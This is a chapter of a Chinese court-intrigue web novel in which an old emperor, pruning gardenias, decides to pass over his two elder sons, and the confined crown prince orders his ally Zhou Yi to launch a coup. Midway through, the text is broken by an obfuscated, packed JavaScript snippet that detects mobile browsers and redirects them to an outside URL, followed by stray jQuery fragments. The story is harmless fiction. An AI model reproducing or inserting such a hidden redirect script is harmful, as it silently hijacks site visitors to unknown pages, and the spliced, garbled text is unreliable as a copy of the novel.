那边太子与四皇子剑拔弩张,这边老皇帝却尚有闲情摆弄花草。
春夏相交时分,桅子初结花蕾,老皇帝拿着一把乌黑的精纯铁剪,端详着面前的桅子,正考虑从何处下手修剪。
花长得正好,枝繁叶茂,碧油油的叶子衬着白玉般的花蕾,格外喜人。其中有两枝已长的颇成气候,不相上下,俱是枝丫粗壮,花苞饱满初绽,已有盛放的势头。而在这两枝之下,藏着一枝看似弱小,却暗藏生命力的秀丽枝丫,小小的白色花蕾初具,虽被两枝主丫遮蔽,却是从苍劲主枝上生发出的新枝,蕴藏不可小覷的后发之力。
老皇帝轻抚那两朵即将绽放的花蕾,眼中满是温柔。是他亲手调理的它们,从尚是幼芽时起,便精心呵护,如今终将长成。
连奕幼时格外淘气,与现下的老成持截然不同,常常惹祸,被领教嬷嬷责罚,一看到领教嬷嬷手中的戒杖,连奕便会逃到他膝下来求救,他亦总以“待年长些再教不迟”为由打发领教嬷嬷,嬷嬷也每每只得抛下一句“陛下莫要宠坏了殿下。”无奈而去。那时的他,是连奕心中的天。
而连玥幼时身弱,三天倒有两天闹病,性子也娇,一病就哭闹不停,嬷嬷怎么哄都不顶事。他便常常违例将连玥从皇子养育所接到自己宫中,亲自喂药,看护,格外疼爱。而连玥也只认他,他一抱便不哭不闹,连苦得令人皱眉的药也乖乖喝下。
一晃间,他们都长大了,大到能搅动梁国风云。可惜,他们都不是梁国最好的选择。
梁国建国之初,老太爷太重情份,重赏分封各大功臣,渐渐造成梁国各蕃各王势力盘据,皇室势弱的局面。老皇帝花了毕生心血,削弱蕃王外戚,不惜血洗功臣之后,终将经济军事之大权重新收回皇室,结束梁国各势力分据的局面,成为一统的梁国。
梁国的未来,不能再陷于势力割据与争斗,梁国未来的国君,需要的是仁爱与胸怀,有大国之君的智慧与包容。这个特质,唯有连苏具备。
老皇帝叹了口气,手起刀落,那两枝将成的花枝被无情剪下,扔入一旁的杂物桶内。而那枝略弱的花枝终得以露头,在微风着舒展着枝叶,蕴育着自己的盛放。
老皇帝一面禁足太子,令其在东宫自查反省。另一面又令四皇子撤了兵。
太子已成困兽,要做困兽之争,老皇帝自然要给他机会。
太子出不了东宫,却未禁止外面的人进东宫,四皇子的兵一撤走,周仪便应召进了东宫。
太子在东宫最高之地,朝灵阁的顶层,拂琴而待。
周仪未上层楼,便先闻琴声,虽听似平静从容,其中却藏有萧杀之意。
周仪拾阶而上,来到阁顶,太子背对着他,席地而坐,一身萧瑟,专注地拨动着琴弦,仿佛这满城的风云暗动与之无干。
周仪并未上前打断,只静立一旁默默等待。
一曲终了,太子的手指仍按于弦上,余音未绝,良久方息。
“你来了。”太子并未转身,拿过香簪轻轻拨了拨将燃尽的残香,又添了些新的进去。
“殿下,可安好?”周仪的关切尽显真心实意,尽管太子背对着他,他还是恭恭敬敬地行了一礼。
太子起身,托起他,“周卿免礼。”
眼前的太子连奕,眼中之光虽未灭,人却憔悴清瘦了一圈,连身着的衣衫都显得宽大起来,周仪叹道,“殿下,你清减了。。。”
太子苦笑道,“不想终是走到了这一步,周卿,孤此刻召你来,便是想问你,一切可备妥当?”
“俱已备妥。”周仪回答的干脆笃定,这让太子心感安慰。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16353826|183611||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“海上可有消息传回?”海那边的消息,是太子最后的希望,他所图,并不只是逃离眼下的困境,而是为一生的理想做最后战斗。
“再有四五日,琉风国的战船便可抵达真宝国,在真宝国补充给养,等待与殿下会合,再图大计。”
“如此,琉风是同意结盟了。”
“琉风出动了最精锐的水师,最先进的战船,由二皇子亲自领军,誓要援助殿下拿下帝位。”
“哦,如此看来,琉风国倒是有几分诚意。”
“应是诚意十足了,琉风已几近倾国之力。”周仪知太子已陷困局,便趁势要推他一把,“殿下,下令吧!”
太子未立刻回答,他推开琴室的阁门,来到观景台上,凭栏而立,整个京城尽收眼底,这个梁国的最高权力所在之城,繁华一如平常,对即将到来的危险一无所感。
“周卿,此步一迈出,孤与梁国,便俱再无回头之路了。”太子遥望着这片生养他的土地,感慨着。
周仪听太子的感叹中,似有一丝踟踌之意,他知太子是凉薄之人,并非会为梁国即将踏入万劫不复之地而忧,多半是惧无必胜把握,一旦失败,多年所图便将功亏一篑。
周仪正欲劝进,却听太子失笑道:
“今孤以东宫之尊,竟因一无凭无据的乱贼受围宫之辱,不日未必不会有莫须有的罪名加之于身,现下,尚有机会一争,界时,怕只能任人宰割。即便能侥幸获存,孤又岂肯苛且于世?”
太子转身,眼中燃着野心的光芒:“周卿,孤今便将大事托付与你,你可愿意与孤共赴这一场未知的生死之战?”
“仪愿追随殿下,即粉身碎骨亦不悔。”周仪等这一刻久已。
太子点点头,斩钉截铁地下令:
“行动吧!”